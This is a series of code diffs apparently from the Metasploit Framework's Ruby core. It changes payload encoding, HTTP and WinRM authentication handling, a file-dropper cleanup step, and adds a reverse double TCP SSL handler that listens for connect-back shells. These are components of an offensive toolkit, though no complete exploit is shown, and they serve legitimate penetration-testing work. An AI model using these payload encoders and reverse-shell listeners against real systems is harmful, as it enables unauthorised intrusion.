||||
vuln = framework.db.report_vuln(vuln_info)
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler"
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
via_exploit = sess_data[:datastore]['ParentModule']
|
||||
else
|
||||
via_exploit = session.via_exploit
|
||||
|
@ -4869,6 +4869,7 @@ class DBManager
|
|||
# If you have Nokogiri installed, you'll be shunted over to
|
||||
# that. Otherwise, you'll hit the old NmapXMLStreamParser.
|
||||
def import_nmap_xml(args={}, &block)
|
||||
return nil if args[:data].nil? or args[:data].empty?
|
||||
wspace = args[:wspace] || workspace
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
|
||||
|
|
|
@ -268,6 +268,8 @@ class DBManager
|
|||
def disconnect
|
||||
begin
|
||||
ActiveRecord::Base.remove_connection
|
||||
self.migrated = false
|
||||
self.modules_cached = false
|
||||
rescue ::Exception => e
|
||||
self.error = e
|
||||
elog("DB.disconnect threw an exception: #{e}")
|
||||
|
|
|
@ -41,6 +41,7 @@ class EncodedPayload
|
|||
# This method generates the full encoded payload and returns the encoded
|
||||
# payload buffer.
|
||||
#
|
||||
# @return [String] The encoded payload.
|
||||
def generate(raw = nil)
|
||||
self.raw = raw
|
||||
self.encoded = nil
|
||||
|
@ -86,8 +87,9 @@ class EncodedPayload
|
|||
|
||||
#
|
||||
# Generates the raw payload from the payload instance. This populates the
|
||||
# raw attribute.
|
||||
# {#raw} attribute.
|
||||
#
|
||||
# @return [String] The raw, unencoded payload.
|
||||
def generate_raw
|
||||
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
|
||||
|
||||
|
@ -216,7 +218,7 @@ class EncodedPayload
|
|||
# If the encoded payload is nil, raise an exception saying that we
|
||||
# suck at life.
|
||||
if (self.encoded == nil)
|
||||
encoder = nil
|
||||
self.encoder = nil
|
||||
|
||||
raise NoEncodersSucceededError,
|
||||
"#{pinst.refname}: All encoders failed to encode.",
|
||||
|
|
|
@ -308,7 +308,12 @@ class Encoder < Module
|
|||
while (offset < state.buf.length)
|
||||
block = state.buf[offset, decoder_block_size]
|
||||
|
||||
state.encoded += encode_block(state,
|
||||
# Append here (String#<<) instead of creating a new string with
|
||||
# String#+ because the allocations kill performance with large
|
||||
# buffers. This isn't usually noticeable on most shellcode, but
|
||||
# when doing stage encoding on meterpreter (~750k bytes) the
|
||||
# difference is 2 orders of magnitude.
|
||||
state.encoded << encode_block(state,
|
||||
block + ("\x00" * (decoder_block_size - block.length)))
|
||||
|
||||
offset += decoder_block_size
|
||||
|
|
|
@ -26,6 +26,9 @@ class Msf::Encoder::Xor < Msf::Encoder
|
|||
# Finds keys that are incompatible with the supplied bad character list.
|
||||
#
|
||||
def find_bad_keys(buf, badchars)
|
||||
# Short circuit if there are no badchars
|
||||
return super if badchars.length == 0
|
||||
|
||||
bad_keys = Array.new(decoder_key_size) { Hash.new }
|
||||
byte_idx = 0
|
||||
|
||||
|
|
|
@ -22,7 +22,9 @@ module Exploit::FileDropper
|
|||
# Meterpreter should do this automatically as part of
|
||||
# fs.file.rm(). Until that has been implemented, remove the
|
||||
# read-only flag with a command.
|
||||
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
|
||||
if session.platform =~ /win/
|
||||
session.shell_command_token(%Q|attrib.exe -r #{win_file}|)
|
||||
end
|
||||
session.fs.file.rm(file)
|
||||
print_good("Deleted #{file}")
|
||||
true
|
||||
|
|
|
@ -37,7 +37,9 @@ module Exploit::Remote::HttpClient
|
|||
Opt::RHOST,
|
||||
Opt::RPORT(80),
|
||||
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
|
||||
Opt::Proxies
|
||||
Opt::Proxies,
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -46,10 +48,6 @@ module Exploit::Remote::HttpClient
|
|||
OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests',
|
||||
Rex::Proto::Http::Client::DefaultUserAgent
|
||||
]),
|
||||
OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']),
|
||||
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
|
||||
OptString.new('DigestAuthUser', [false, 'The HTTP username to specify for digest authentication']),
|
||||
OptString.new('DigestAuthPassword', [false, 'The HTTP password to specify for digest authentication']),
|
||||
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
|
||||
|
@ -156,7 +154,9 @@ module Exploit::Remote::HttpClient
|
|||
},
|
||||
dossl,
|
||||
ssl_version,
|
||||
proxies
|
||||
proxies,
|
||||
datastore['USERNAME'],
|
||||
datastore['PASSWORD']
|
||||
)
|
||||
|
||||
# Configure the HTTP client with the supplied parameter
|
||||
|
@ -184,7 +184,15 @@ module Exploit::Remote::HttpClient
|
|||
'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],
|
||||
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
||||
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
||||
'header_folding' => datastore['HTTP::header_folding']
|
||||
'header_folding' => datastore['HTTP::header_folding'],
|
||||
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
|
||||
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
|
||||
'send_lm' => datastore['NTLM::SendLM'],
|
||||
'send_ntlm' => datastore['NTLM::SendNTLM'],
|
||||
'SendSPN' => datastore['NTLM::SendSPN'],
|
||||
'UseLMKey' => datastore['NTLM::UseLMKey'],
|
||||
'domain' => datastore['DOMAIN'],
|
||||
'DigestAuthIIS' => datastore['DigestAuthIIS']
|
||||
)
|
||||
|
||||
# If this connection is global, persist it
|
||||
|
@ -266,6 +274,10 @@ module Exploit::Remote::HttpClient
|
|||
def send_request_cgi(opts={}, timeout = 20)
|
||||
begin
|
||||
c = connect(opts)
|
||||
if opts['username'] and opts['username'] != ''
|
||||
c.username = opts['username'].to_s
|
||||
c.password = opts['password'].to_s
|
||||
end
|
||||
r = c.request_cgi(opts)
|
||||
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
|
@ -277,241 +289,8 @@ module Exploit::Remote::HttpClient
|
|||
# Combine the user/pass into an auth string for the HTTP Client
|
||||
#
|
||||
def basic_auth
|
||||
return if not datastore['BasicAuthUser']
|
||||
datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '')
|
||||
end
|
||||
|
||||
#
|
||||
# Connect to the server, and perform NTLM authentication for this session.
|
||||
# Note the return value is [resp,c], so the caller can have access to both
|
||||
# the last response, and the connection itself -- this is important since
|
||||
# NTLM auth is bound to this particular TCP session.
|
||||
#
|
||||
# TODO: Fix up error messaging a lot more -- right now it's pretty hard
|
||||
# to tell what all went wrong.
|
||||
#
|
||||
def send_http_auth_ntlm(opts={}, timeout = 20)
|
||||
#ntlm_message_1 = "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA="
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = datastore['DOMAIN']
|
||||
|
||||
ntlm_message_1 = "NTLM " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags))
|
||||
to = opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
|
||||
# First request to get the challenge
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Authorization' => ntlm_message_1 }}))
|
||||
resp = c.send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1]
|
||||
return [nil,nil] unless ntlm_challenge
|
||||
|
||||
|
||||
#old and simplier method but not compatible with windows 7/2008r2
|
||||
#ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge)
|
||||
#ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true})
|
||||
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2)
|
||||
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
|
||||
resp_lm,
|
||||
resp_ntlm,
|
||||
client_challenge,
|
||||
ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
|
||||
ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'],
|
||||
resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
|
||||
# Send the response
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Authorization' => "NTLM #{ntlm_message_3}"}}))
|
||||
resp = c.send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [resp,c]
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
def send_digest_request_cgi(opts={}, timeout=20)
|
||||
@nonce_count = 0
|
||||
|
||||
return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser'])
|
||||
to = opts['timeout'] || timeout
|
||||
|
||||
digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || ""
|
||||
digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || ""
|
||||
|
||||
method = opts['method']
|
||||
path = opts['uri']
|
||||
iis = true
|
||||
if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false)
|
||||
iis = false
|
||||
end
|
||||
|
||||
begin
|
||||
@nonce_count += 1
|
||||
|
||||
resp = opts['response']
|
||||
|
||||
if not resp
|
||||
# Get authentication-challenge from server, and read out parameters required
|
||||
c = connect(opts)
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method }))
|
||||
resp = c.send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
if resp.code != 401
|
||||
return resp
|
||||
end
|
||||
return [nil,nil] unless resp.headers['WWW-Authenticate']
|
||||
end
|
||||
|
||||
# Don't anchor this regex to the beginning of string because header
|
||||
# folding makes it appear later when the server presents multiple
|
||||
# WWW-Authentication options (such as is the case with IIS configured
|
||||
# for Digest or NTLM).
|
||||
resp['www-authenticate'] =~ /Digest (.*)/
|
||||
|
||||
parameters = {}
|
||||
$1.split(/,[[:space:]]*/).each do |p|
|
||||
k, v = p.split("=", 2)
|
||||
parameters[k] = v.gsub('"', '')
|
||||
end
|
||||
|
||||
qop = parameters['qop']
|
||||
|
||||
if parameters['algorithm'] =~ /(.*?)(-sess)?$/
|
||||
algorithm = case $1
|
||||
when 'MD5' then Digest::MD5
|
||||
when 'SHA1' then Digest::SHA1
|
||||
when 'SHA2' then Digest::SHA2
|
||||
when 'SHA256' then Digest::SHA256
|
||||
when 'SHA384' then Digest::SHA384
|
||||
when 'SHA512' then Digest::SHA512
|
||||
when 'RMD160' then Digest::RMD160
|
||||
else raise Error, "unknown algorithm \"#{$1}\""
|
||||
end
|
||||
algstr = parameters["algorithm"]
|
||||
sess = $2
|
||||
else
|
||||
algorithm = Digest::MD5
|
||||
algstr = "MD5"
|
||||
sess = false
|
||||
end
|
||||
|
||||
a1 = if sess then
|
||||
[
|
||||
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
|
||||
parameters['nonce'],
|
||||
@cnonce
|
||||
].join ':'
|
||||
else
|
||||
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
|
||||
end
|
||||
|
||||
ha1 = algorithm.hexdigest(a1)
|
||||
ha2 = algorithm.hexdigest("#{method}:#{path}")
|
||||
|
||||
request_digest = [ha1, parameters['nonce']]
|
||||
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
|
||||
request_digest << ha2
|
||||
request_digest = request_digest.join ':'
|
||||
|
||||
# Same order as IE7
|
||||
auth = [
|
||||
"Digest username=\"#{digest_user}\"",
|
||||
"realm=\"#{parameters['realm']}\"",
|
||||
"nonce=\"#{parameters['nonce']}\"",
|
||||
"uri=\"#{path}\"",
|
||||
"cnonce=\"#{@cnonce}\"",
|
||||
"nc=#{'%08x' % @nonce_count}",
|
||||
"algorithm=#{algstr}",
|
||||
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
|
||||
# The spec says the qop value shouldn't be enclosed in quotes, but
|
||||
# some versions of IIS require it and Apache accepts it. Chrome
|
||||
# and Firefox both send it without quotes but IE does it this way.
|
||||
# Use the non-compliant-but-everybody-does-it to be as compatible
|
||||
# as possible by default. The user can override if they don't like
|
||||
# it.
|
||||
if qop.nil? then
|
||||
elsif iis then
|
||||
"qop=\"#{qop}\""
|
||||
else
|
||||
"qop=#{qop}"
|
||||
end,
|
||||
if parameters.key? 'opaque' then
|
||||
"opaque=\"#{parameters['opaque']}\""
|
||||
end
|
||||
].compact
|
||||
|
||||
headers ={ 'Authorization' => auth.join(', ') }
|
||||
headers.merge!(opts['headers']) if opts['headers']
|
||||
|
||||
|
||||
# Send main request with authentication
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method,
|
||||
'headers' => headers }))
|
||||
resp = c.send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
|
||||
return [resp,c]
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
return if not datastore['USERNAME']
|
||||
datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '')
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -536,20 +315,21 @@ module Exploit::Remote::HttpClient
|
|||
end
|
||||
|
||||
#
|
||||
# Make sure the URI starts with a slash and doesn't end with one
|
||||
# Returns a modified version of the URI that:
|
||||
# 1. Always has a starting slash
|
||||
# 2. Removes all the double slashes
|
||||
#
|
||||
def normalize_uri(str)
|
||||
def normalize_uri(*strs)
|
||||
new_str = strs * "/"
|
||||
|
||||
unless str.to_s[0,1] == "/"
|
||||
str = "/" + str.to_s
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
# Makes sure there's a starting slash
|
||||
unless new_str[0,1] == '/'
|
||||
new_str = '/' + new_str
|
||||
end
|
||||
|
||||
str = str.gsub(/^\/+/, '/')
|
||||
unless str.length == 1
|
||||
str = str.gsub(/\/+$/, '')
|
||||
end
|
||||
|
||||
str
|
||||
new_str
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -721,4 +501,4 @@ protected
|
|||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -94,3 +94,4 @@ require 'msf/core/exploit/winrm'
|
|||
|
||||
# WebApp
|
||||
require 'msf/core/exploit/web'
|
||||
|
||||
|
|
|
@ -28,7 +28,7 @@ module Exploit::Remote::Web
|
|||
super
|
||||
|
||||
register_options([
|
||||
OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ),
|
||||
OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ),
|
||||
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
|
@ -75,14 +75,21 @@ module Exploit::Remote::Web
|
|||
|
||||
def exploit
|
||||
print_status "Sending HTTP request for #{path}"
|
||||
if res = perform_request
|
||||
print_status "The server responded with HTTP status code #{res.code}."
|
||||
else
|
||||
print_status 'The server did not respond to our request.'
|
||||
end
|
||||
res = perform_request
|
||||
if res
|
||||
print_status "The server responded with HTTP status code #{res.code}."
|
||||
else
|
||||
print_status 'The server did not respond to our request.'
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
||||
def tries
|
||||
1
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def perform_request
|
||||
send_request_cgi({
|
||||
'global' => true,
|
||||
|
|
|
@ -42,7 +42,7 @@ module Exploit::Remote::WinRM
|
|||
c = connect(opts)
|
||||
to = opts[:timeout] || timeout
|
||||
ctype = "application/soap+xml;charset=UTF-8"
|
||||
resp, c = send_request_cgi(opts.merge({
|
||||
resp, c = send_winrm_request(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
|
@ -61,7 +61,7 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
|
||||
def winrm_run_cmd(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
resp = send_winrm_request(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
|
@ -76,17 +76,17 @@ module Exploit::Remote::WinRM
|
|||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
|
||||
resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id))
|
||||
resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
|
||||
resp = send_winrm_request(winrm_delete_shell_msg(shell_id))
|
||||
return streams
|
||||
end
|
||||
|
||||
def winrm_run_cmd_hanging(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
resp = send_winrm_request(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
|
@ -101,9 +101,9 @@ module Exploit::Remote::WinRM
|
|||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams
|
||||
end
|
||||
|
@ -219,98 +219,6 @@ module Exploit::Remote::WinRM
|
|||
::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
||||
end
|
||||
|
||||
def send_request_ntlm(data, timeout = 20)
|
||||
opts = {
|
||||
'uri' => datastore['URI'],
|
||||
'data' => data,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = datastore['DOMAIN']
|
||||
ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags))
|
||||
to = opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
ctype = "application/soap+xml;charset=UTF-8"
|
||||
# First request to get the challenge
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
'headers' => { 'Authorization' => ntlm_message_1},
|
||||
'data' => opts['data']
|
||||
}))
|
||||
resp = c.send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1]
|
||||
return [nil,nil] unless ntlm_challenge
|
||||
|
||||
#old and simplier method but not compatible with windows 7/2008r2
|
||||
#ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge)
|
||||
#ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true})
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2)
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
resp_lm,
|
||||
resp_ntlm,
|
||||
client_challenge,
|
||||
ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'],
|
||||
resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
# Send the response
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"},
|
||||
'data' => opts['data']
|
||||
}))
|
||||
resp = c.send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [resp,c]
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
def accepts_ntlm_auth
|
||||
parse_auth_methods(winrm_poke).include? "Negotiate"
|
||||
end
|
||||
|
||||
def target_url
|
||||
proto = "http"
|
||||
if rport == 5986 or datastore['SSL']
|
||||
|
@ -329,6 +237,18 @@ module Exploit::Remote::WinRM
|
|||
return "/root/cimv2/"
|
||||
end
|
||||
|
||||
def send_winrm_request(data, timeout=20)
|
||||
opts = {
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'ctype' => "application/soap+xml;charset=UTF-8"
|
||||
}
|
||||
send_request_cgi(opts,timeout)
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
|
|
@ -0,0 +1,300 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse double TCP handler. This means
|
||||
# that it listens on a port waiting for a two connections, one connection
|
||||
# is treated as stdin, the other as stdout.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseTcpDoubleSSL
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_tcp_double'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_tcp_double_ssl"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse TCP handler and ads the options that are required
|
||||
# for all reverse TCP payloads, like local host and local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LHOST,
|
||||
Opt::LPORT(4444)
|
||||
], Msf::Handler::ReverseTcpDoubleSSL)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
|
||||
], Msf::Handler::ReverseTcpDoubleSSL)
|
||||
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the listener but does not actually attempt
|
||||
# to accept a connection. Throws socket exceptions
|
||||
# if it fails to start the listener.
|
||||
#
|
||||
def setup_handler
|
||||
if datastore['Proxies'] and not datastore['ReverseAllowProxy']
|
||||
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
|
||||
end
|
||||
self.listener_sock = Rex::Socket::TcpServer.create(
|
||||
# 'LocalHost' => datastore['LHOST'],
|
||||
'LocalPort' => datastore['LPORT'].to_i,
|
||||
'Comm' => comm,
|
||||
'SSL' => true,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) {
|
||||
sock_inp = nil
|
||||
sock_out = nil
|
||||
|
||||
print_status("Started reverse double handler")
|
||||
|
||||
begin
|
||||
# Accept two client connection
|
||||
begin
|
||||
client_a = self.listener_sock.accept
|
||||
print_status("Accepted the first client connection...")
|
||||
|
||||
client_b = self.listener_sock.accept
|
||||
print_status("Accepted the second client connection...")
|
||||
|
||||
sock_inp, sock_out = detect_input_output(client_a, client_b)
|
||||
|
||||
rescue
|
||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
